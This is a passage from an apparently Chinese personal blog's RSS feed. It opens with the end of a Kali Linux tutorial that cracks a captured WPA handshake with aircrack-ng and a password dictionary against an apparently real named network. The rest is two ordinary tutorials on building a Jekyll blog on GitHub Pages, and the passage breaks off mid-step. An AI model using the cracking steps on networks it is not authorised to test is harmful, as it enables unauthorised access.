&lt;p&gt;抓到握手包之后，&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Ctrl+C&lt;/code&gt;停止抓包。查看对应目录下的包含握手信息的包：&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2020-06-26-Kali+Airmon+WiFi破解.assets/image-20200627123908530.png&quot; alt=&quot;image-20200627123908530&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;wifi密码破解&quot;&gt;WIFI密码破解&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;结合密码字典，使用aircrack-ng进行破解：&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;aircrack-ng -w &amp;lt;本地的字典文件&amp;gt; &amp;lt;握手包&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;root&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;kali&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;~&lt;/span&gt;&lt;span class=&quot;c1&quot;&gt;# aircrack-ng -w /home/common.txt /home/ChinaNet-LRRV-01.cap 
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;出现&lt;strong&gt;KEY FOUND&lt;/strong&gt;，则表示破解成功，括号中字符串即为密码。&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2020-06-26-Kali+Airmon+WiFi破解.assets/image-20200627124422162.png&quot; alt=&quot;image-20200627124422162&quot; /&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;无线网卡退出监听模式：&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;airmon-ng stop &amp;lt;处于监听模式的无限网卡名称&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;root&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;kali&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;~&lt;/span&gt;&lt;span class=&quot;c1&quot;&gt;# airmon-ng stop wlan0mon
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2020-06-26-Kali+Airmon+WiFi破解.assets/image-20200627124637471.png&quot; alt=&quot;image-20200627124637471&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;faq&quot;&gt;FAQ&lt;/h3&gt;

&lt;p&gt;实操过程中，可能出现：&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;扫描wifi过程中，无法收集到wifi信息&lt;/li&gt;
  &lt;li&gt;抓包中出现：fixed channel wlan0mon xx&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;注意：拔掉无线网卡重新插入，或者重启虚拟机。&lt;/p&gt;

&lt;h3 id=&quot;参考链接&quot;&gt;参考链接&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/conwnet/wpa-dictionary&quot;&gt;https://github.com/conwnet/wpa-dictionary&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.cnblogs.com/zgang/p/11562012.html&quot;&gt;https://www.cnblogs.com/zgang/p/11562012.html&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
        <pubDate>Fri, 26 Jun 2020 00:00:00 +0000</pubDate>
        <link>http://leexuan.github.io/2020/06/Kali+Airmon+WiFi%E7%A0%B4%E8%A7%A3/</link>
        <guid isPermaLink="true">http://leexuan.github.io/2020/06/Kali+Airmon+WiFi%E7%A0%B4%E8%A7%A3/</guid>
        
        <category>网络安全</category>
        
        
      </item>
    
      <item>
        <title>Jekyll搭建个人博客</title>
        <description>&lt;p&gt;　之前写了一篇&lt;a href=&quot;http://baixin.io/2015/08/HEXO%E6%90%AD%E5%BB%BA%E4%B8%AA%E4%BA%BA%E5%8D%9A%E5%AE%A2/&quot;&gt;HEXO搭建个人博客&lt;/a&gt;的教程获得了很好评，尤其是在&lt;a href=&quot;http://www.jianshu.com/p/465830080ea9&quot;&gt;简书&lt;/a&gt;上目前已经累积了10W+的阅读量了，也有好心的读者主动给我打赏，在此感谢。&lt;/p&gt;

&lt;p&gt;　如果你看过我的文章会发现我现在的博客样式跟之前是有很大的区别的，之前我也是使用 HEXO 搭建的博客，后来发现使用 HEXO 在多台电脑上发布博客，操作起来并不是那么方便，果断就转到了 Jekyll 上，接下来我会讲如何使用 Jekyll 搭建博客，&lt;a href=&quot;http://baixin.io/#blog&quot;&gt;博客模板效果&lt;/a&gt;。&lt;/p&gt;

&lt;h3 id=&quot;介绍&quot;&gt;介绍&lt;/h3&gt;

&lt;p&gt;　Jekyll 是一个简单的博客形态的静态站点生产机器。它有一个模版目录，其中包含原始文本格式的文档，通过 Markdown （或者 Textile） 以及 Liquid 转化成一个完整的可发布的静态网站，你可以发布在任何你喜爱的服务器上。Jekyll 也可以运行在 GitHub Page 上，也就是说，你可以使用 GitHub 的服务来搭建你的项目页面、博客或者网站，而且是完全免费的&lt;/p&gt;

&lt;p&gt;　使用 Jekyll 搭建博客之前要确认下本机环境，Git 环境（用于部署到远端）、&lt;a href=&quot;http://www.ruby-lang.org/en/downloads/&quot;&gt;Ruby&lt;/a&gt; 环境（Jekyll 是基于 Ruby 开发的）、包管理器 &lt;a href=&quot;http://rubygems.org/pages/download&quot;&gt;RubyGems&lt;/a&gt;              &lt;br /&gt;
　　如果你是 Mac 用户，你就需要安装 Xcode 和 Command-Line Tools了。下载方式 Preferences → Downloads → Components。&lt;/p&gt;

&lt;p&gt;　　Jekyll 是一个免费的简单静态网页生成工具，可以配合第三方服务例如： Disqus（评论）、多说(评论) 以及分享 等等扩展功能，Jekyll 可以直接部署在 Github（国外） 或 Coding（国内） 上，可以绑定自己的域名。&lt;a href=&quot;http://jekyll.bootcss.com/&quot;&gt;Jekyll中文文档&lt;/a&gt;、&lt;a href=&quot;https://jekyllrb.com/&quot;&gt;Jekyll英文文档&lt;/a&gt;、&lt;a href=&quot;http://jekyllthemes.org/&quot;&gt;Jekyll主题列表&lt;/a&gt;。&lt;/p&gt;

&lt;h3 id=&quot;jekyll-环境配置&quot;&gt;Jekyll 环境配置&lt;/h3&gt;

&lt;p&gt;安装 jekyll&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ gem install jekyll     
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;创建博客&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ jekyll new myBlog    
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;进入博客目录&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ cd myBlog  
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;启动本地服务&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ jekyll serve
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;在浏览器里输入： &lt;a href=&quot;http://localhost:4000&quot;&gt;http://localhost:4000&lt;/a&gt;，就可以看到你的博客效果了。&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/jekyll/image1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;so easy !&lt;/p&gt;

&lt;h3 id=&quot;目录结构&quot;&gt;目录结构&lt;/h3&gt;
&lt;p&gt;　
　Jekyll 的核心其实是一个文本转换引擎。它的概念其实就是： 你用你最喜欢的标记语言来写文章，可以是 Markdown，也可以是 Textile,或者就是简单的 HTML, 然后 Jekyll 就会帮你套入一个或一系列的布局中。在整个过程中你可以设置URL路径, 你的文本在布局中的显示样式等等。这些都可以通过纯文本编辑来实现，最终生成的静态页面就是你的成品了。&lt;/p&gt;

&lt;p&gt;一个基本的 Jekyll 网站的目录结构一般是像这样的：&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;.
├── _config.yml
├── _includes
|   ├── footer.html
|   └── header.html
├── _layouts
|   ├── default.html
|   ├── post.html
|   └── page.html
├── _posts
|   └── 2016-10-08-welcome-to-jekyll.markdown
├── _sass
|   ├── _base.scss
|   ├── _layout.scss
|   └── _syntax-highlighting.scss
├── about.md
├── css
|   └── main.scss
├── feed.xml
└── index.html

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;这些目录结构以及具体的作用可以参考 &lt;a href=&quot;http://jekyll.com.cn/docs/structure/&quot;&gt;官网文档&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;进入 _config.yml 里面，修改成你想看到的信息，重新 jekyll server ，刷新浏览器就可以看到你刚刚修改的信息了。&lt;/p&gt;

&lt;p&gt;到此，博客初步搭建算是完成了，&lt;/p&gt;

&lt;h3 id=&quot;博客部署到远端&quot;&gt;博客部署到远端&lt;/h3&gt;

&lt;p&gt;　我这里讲的是部署到 Github Page 创建一个 github 账号，然后创建一个跟你账户名一样的仓库，如我的 github 账户名叫 &lt;a href=&quot;https://github.com/leopardpan&quot;&gt;leopardpan&lt;/a&gt;，我的 github 仓库名就叫 &lt;a href=&quot;https://github.com/leopardpan/leopardpan.github.io&quot;&gt;leopardpan.github.io&lt;/a&gt;，创建好了之后，把刚才建立的 myBlog 项目 push 到 username.github.io仓库里去（username指的是你的github用户名），检查你远端仓库已经跟你本地 myBlog 同步了，然后你在浏览器里输入 username.github.io ，就可以访问你的博客了。&lt;/p&gt;

&lt;h3 id=&quot;编写文章&quot;&gt;编写文章&lt;/h3&gt;

&lt;p&gt;　　所有的文章都是 _posts 目录下面，文章格式为 mardown 格式，文章文件名可以是 .mardown 或者 .md。&lt;/p&gt;

&lt;p&gt;　　编写一篇新文章很简单，你可以直接从 _posts/ 目录下复制一份出来 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;2016-10-16-welcome-to-jekyll副本.markdown&lt;/code&gt; ，修改名字为 2016-10-16-article1.markdown ，注意：文章名的格式前面必须为 2016-10-16- ，日期可以修改，但必须为 年-月-日- 格式，后面的 article1 是整个文章的连接 URL，如果文章名为中文，那么文章的连接URL就会变成这样的：http://baixin.io/2015/08/%E6%90%AD%E5/ ， 所以建议文章名最好是英文的或者阿拉伯数字。 双击 2016-10-16-article1.markdown 打开&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;
---
layout: post
title:  &quot;Welcome to Jekyll!&quot;
date:   2016-10-16 11:29:08 +0800
categories: jekyll update
---

正文...

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;title: 显示的文章名， 如：title: 我的第一篇文章                  &lt;br /&gt;
date:  显示的文章发布日期，如：date: 2016-10-16                        &lt;br /&gt;
categories: tag标签的分类，如：categories: 随笔&lt;/p&gt;

&lt;p&gt;注意：文章头部格式必须为上面的，…. 就是文章的正文内容。&lt;/p&gt;

&lt;p&gt;我写文章使用的是 Sublime Text2 编辑器，如果你对 markdown 语法不熟悉的话，可以看看&lt;a href=&quot;https://www.zybuluo.com/&quot;&gt;作业部落的教程&lt;/a&gt;&lt;/p&gt;

&lt;h3 id=&quot;使用我的博客模板&quot;&gt;使用我的博客模板&lt;/h3&gt;

&lt;p&gt;虽然博客部署完成了，你会发现博客太简单不是你想要的，如果你喜欢我的模板的话，可以使用我的模板。&lt;/p&gt;

&lt;p&gt;首先你要获取的我博客，&lt;a href=&quot;https://github.com/leopardpan/leopardpan.github.io.git&quot;&gt;Github项目地址&lt;/a&gt;，你可以直接&lt;a href=&quot;https://github.com/leopardpan/leopardpan.github.io/archive/master.zip&quot;&gt;点击下载博客&lt;/a&gt;，进去leopardpan.github.io/ 目录下， 使用命令部署本地服务&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ jekyll server   
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;如果你本机没配置过任何jekyll的环境可能会报错&quot;&gt;如果你本机没配置过任何jekyll的环境，可能会报错&lt;/h3&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;/Users/xxxxxxxx/.rvm/rubies/ruby-2.2.2/lib/ruby/site_ruby/2.2.0/rubygems/core_ext/kernel_require.rb:54:in `require': cannot load such file -- bundler (LoadError)
	from /Users/xxxxxxxx/.rvm/rubies/ruby-2.2.2/lib/ruby/site_ruby/2.2.0/rubygems/core_ext/kernel_require.rb:54:in `require'
	from /Users/xxxxxxxx/.rvm/gems/ruby-2.2.2/gems/jekyll-3.3.0/lib/jekyll/plugin_manager.rb:34:in `require_from_bundler'
	from /Users/xxxxxxxx/.rvm/gems/ruby-2.2.2/gems/jekyll-3.3.0/exe/jekyll:9:in `&amp;lt;top (required)&amp;gt;'
	from /Users/xxxxxxxx/.rvm/gems/ruby-2.2.2/bin/jekyll:23:in `load'
	from /Users/xxxxxxxx/.rvm/gems/ruby-2.2.2/bin/jekyll:23:in `&amp;lt;main&amp;gt;'
	from /Users/xxxxxxxx/.rvm/gems/ruby-2.2.2/bin/ruby_executable_hooks:15:in `eval'
	from /Users/xxxxxxxx/.rvm/gems/ruby-2.2.2/bin/ruby_executable_hooks:15:in `&amp;lt;main&amp;gt;'

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;原因： 没有安装 bundler ，执行安装 bundler 命令&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;
$ gem install bundler

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;提示：&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Fetching: bundler-1.13.5.gem (100%)
Successfully installed bundler-1.13.5
Parsing documentation for bundler-1.13.5
Installing ri documentation for bundler-1.13.5
Done installing documentation for bundler after 5 seconds
1 gem installed

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;再次执行 $ jekyll server  ，提示&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;
Could not find proper version of jekyll (3.1.1) in any of the sources
Run `bundle install` to install missing gems.

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;跟着提示运行命令&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ bundle install
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;这个时候你可能会发现 bundle install 运行卡主不动了。&lt;/p&gt;

&lt;p&gt;如果很长时间都没任何提示的话，你可以尝试修改 gem 的 source&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ gem sources --remove https://rubygems.org/
$ gem sources -a http://ruby.taobao.org/
$ gem sources -l
*** CURRENT SOURCES ***

http://ruby.taobao.org

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;再次执行命令 $ bundle install，发现开始有动静了&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Fetching gem metadata from https://rubygems.org/...........
Fetching version metadata from https://rubygems.org/..
Fetching dependency metadata from https://rubygems.org/.
。。。
Installing jekyll-watch 1.3.1
Installing jekyll 3.1.1
Bundle complete! 3 Gemfile dependencies, 17 gems now installed.
Use `bundle show [gemname]` to see where a bundled gem is installed.

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;bundler安装完成，后再次启动本地服务&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ jekyll server

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;继续报错&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Configuration file: /Users/tendcloud-Caroline/Desktop/leopardpan.github.io/_config.yml
  Dependency Error: Yikes! It looks like you don't have jekyll-sitemap or one of its dependencies installed. In order to use Jekyll as currently configured, you'll need to install this gem. The full error message from Ruby is: 'cannot load such file -- jekyll-sitemap' If you run into trouble, you can find helpful resources at http://jekyllrb.com/help/! 
jekyll 3.1.1 | Error:  jekyll-sitemap

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;表示 当前的 jekyll 版本是 3.1.1 ，无法使用 jekyll-sitemap&lt;/p&gt;

&lt;p&gt;解决方法有两个&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;1、打开当前目录下的 _config.yml 文件，把 gems: [jekyll-paginate,jekyll-sitemap] 换成 gems: [jekyll-paginate] ，也就是去掉jekyll-sitemap。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;blockquote&gt;
  &lt;p&gt;2、升级 jekyll 版本，我当前的是 jekyll 3.1.2 。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;修改完成后保存配置，再次执行&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ jekyll server

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;提示&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Configuration file: /Users/baixinpan/Desktop/OpenSource/Mine/Page-Blog/leopardpan.github.io-github/_config.yml
            Source: /Users/baixinpan/Desktop/OpenSource/Mine/Page-Blog/leopardpan.github.io-github
       Destination: /Users/baixinpan/Desktop/OpenSource/Mine/Page-Blog/leopardpan.github.io-github/_site
 Incremental build: disabled. Enable with --incremental
      Generating... 
                    done in 0.901 seconds.
 Auto-regeneration: enabled for '/Users/baixinpan/Desktop/OpenSource/Mine/Page-Blog/leopardpan.github.io-github'
Configuration file: /Users/baixinpan/Desktop/OpenSource/Mine/Page-Blog/leopardpan.github.io-github/_config.yml
    Server address: http://127.0.0.1:4000/
  Server running... press ctrl-c to stop.

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;表示本地服务部署成功。&lt;/p&gt;

&lt;p&gt;在浏览器输入 &lt;a href=&quot;127.0.0.1:4000&quot;&gt;127.0.0.1:4000&lt;/a&gt; ， 就可以看到&lt;a href=&quot;http://baixin.io&quot;&gt;baixin.io&lt;/a&gt;博客效果了。&lt;/p&gt;

&lt;h3 id=&quot;修改成你自己的博客&quot;&gt;修改成你自己的博客&lt;/h3&gt;

&lt;blockquote&gt;
  &lt;ul&gt;
    &lt;li&gt;如果你想使用我的模板请把 _posts/ 目录下的文章都去掉。&lt;/li&gt;
    &lt;li&gt;修改 _config.yml 文件里面的内容为你自己的。&lt;/li&gt;
  &lt;/ul&gt;
&lt;/blockquote&gt;

&lt;p&gt;然后使用 git push 到你自己的仓库里面去，检查你远端仓库，在浏览器输入 username.github.io 就会发现，你有一个漂亮的主题模板了。&lt;/p&gt;

&lt;h4 id=&quot;-如果想修改博客样式却不知道怎么修改可以直接在评论里给我提问-&quot;&gt;【 如果想修改博客样式却不知道怎么修改，可以直接在评论里给我提问 】&lt;/h4&gt;

&lt;h3 id=&quot;为什么要是用-jekyll&quot;&gt;为什么要是用 Jekyll&lt;/h3&gt;

&lt;p&gt;使用了 Jekyll 你会发现如果你想使用多台电脑发博客都很方便，只要把远端 github 仓库里的博客 clone 下来，写文章后再提交就可以了，Hexo 由于远端提交的是静态网页，所有无法直接写 Markdown 的文章。如果你想看 Hexo 搭建博客，可以看看我的另一篇&lt;a href=&quot;http://baixin.io/2015/08/HEXO%E6%90%AD%E5%BB%BA%E4%B8%AA%E4%BA%BA%E5%8D%9A%E5%AE%A2/&quot;&gt;HEXO搭建个人博客&lt;/a&gt;的教程。&lt;/p&gt;

&lt;p&gt;如果你在搭建博客遇到问题，可以在&lt;a href=&quot;http://baixin.io/2016/10/jekyll_tutorials1/&quot;&gt;原文博客&lt;/a&gt;的评论里给我提问。&lt;/p&gt;

&lt;p&gt;后面会继续介绍，在我的博客基础上，如何修改成你自己喜欢的 Style，欢迎继续关注我博客的更新。&lt;/p&gt;

&lt;h3 id=&quot;qa&quot;&gt;Q&amp;amp;A&lt;/h3&gt;

&lt;blockquote&gt;
  &lt;p&gt;问题：最近很多朋友使用我的模板报警告：The CNAME &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;baixin.io&lt;/code&gt; is already taken 
解决：把CNAME里面的baixin.io修改成你自己的域名，如果你暂时没有域名，CNAME里面就什么都不用谢。（之前没人反馈过这个问题，应该是github page最近才最的限制。）&lt;/p&gt;
&lt;/blockquote&gt;

</description>
        <pubDate>Fri, 14 Oct 2016 00:00:00 +0000</pubDate>
        <link>http://leexuan.github.io/2016/10/jekyll_tutorials1/</link>
        <guid isPermaLink="true">http://leexuan.github.io/2016/10/jekyll_tutorials1/</guid>
        
        <category>工具使用</category>
        
        
      </item>
    
      <item>
        <title>jekyll &amp; github 博客搭建之 jekyll 安装</title>
        <description>&lt;p&gt;关于 jekyll &amp;amp; github 搭建个人博客，网上有很多教程，这里不多说明，例如&lt;a href=&quot;http://www.cnblogs.com/yehui-mmd/p/6286271.html&quot;&gt;jekyll+github搭建个人博客&lt;/a&gt;和&lt;a href=&quot;http://www.bijishequ.com/detail/429702&quot;&gt;Windows安装Jekll&lt;/a&gt;。这里主要介绍一下 jekyll 安装过程中可能的问题，以及不同版本ruby下，jekyll的运行问题。&lt;/p&gt;

&lt;h3 id=&quot;ruby安装&quot;&gt;Ruby安装&lt;/h3&gt;
&lt;p&gt;Windows下官网下载 &lt;a href=&quot;https://rubyinstaller.org/downloads/&quot;&gt;Ruby&lt;/a&gt;，直接安装。安装过程中会出现一下界面：&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/JekyllGithub_20161020/Ruby-installation.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;此窗口用来安装 MSYS2 的，安装过程出现“1, 2, 3”选项，直接选 3 进行安装，其他选项不用管。&lt;/p&gt;

&lt;p&gt;安装完毕，查看 ruby 和 gem 安装的版本情况，在命令提示符中输入：&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;ruby -v
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;和&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;gem -v
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;jekyll-安装&quot;&gt;Jekyll 安装&lt;/h3&gt;
&lt;p&gt;利用 RubyInstaller 自带的 gem 安装 jekyll，在命令提示符中输入：&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;gem install jekyll
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;所有的 jekyll 的 gem 依赖包都会被自动安装。&lt;/p&gt;

&lt;h3 id=&quot;bundler-安装&quot;&gt;bundler 安装&lt;/h3&gt;
&lt;p&gt;在命令提示符中输入：&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;gem install bundler
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;到此为止，jekyll 基本安装完毕。&lt;/p&gt;

&lt;h3 id=&quot;创建自己的第一个博客&quot;&gt;创建自己的第一个博客&lt;/h3&gt;
&lt;p&gt;命题提示符中将目录切换到想创建目录的环境，然后利用 jekyll 创建：&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;cd d:
jekyll new blog //创建名为 blog 的博客
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;然后，进入 blog 目录，输入：&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;jekyll serve  //开启服务器，可以按 Ctrl+c 停止
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;注意：jekyll服务器的默认端口是4000，所以浏览器输入：http://localhost:4000 就可以看到生成的博客页面，如下：&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/JekyllGithub_20161020/BlogTemplate.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;至此，可以根据个人喜好，编辑个人博客了。&lt;/p&gt;

&lt;h3 id=&quot;ruby-版本对模拟本地博客环境的影响&quot;&gt;Ruby 版本对模拟本地博客环境的影响&lt;/h3&gt;
&lt;p&gt;利用不同版本的 Ruby 搭建了的 Jekyll 模拟本地环境，当用于模拟同一套博客代码时，可能出现一些问题：
我在以前的一台电脑上采用的稍低版本（具体版本不记得了）的 Ruby 搭建该博客环境，后提交 github。由于需要，在另一台计算机上搭建同样的环境，由于此次搭建仍然采用最新的 Ruby (与之前的版本不一样)，但是在此环境下，模拟从 github 上 clone下的博客代码，运行：&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;jekyll serve
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;如果出现如下图所示错误：&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/JekyllGithub_20161020/ProblemDuetoVersion.png&quot; alt=&quot;&quot; /&gt;
其解决方法如下：
命令行输入以下代码：&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;bundle --full-index
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;如下图所示：
&lt;img src=&quot;/images/posts/JekyllGithub_20161020/Step1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;如果出现如下图所示错误：&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/JekyllGithub_20161020/Problem_public_suffix.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;其解决方法是执行以下代码：&lt;/p&gt;

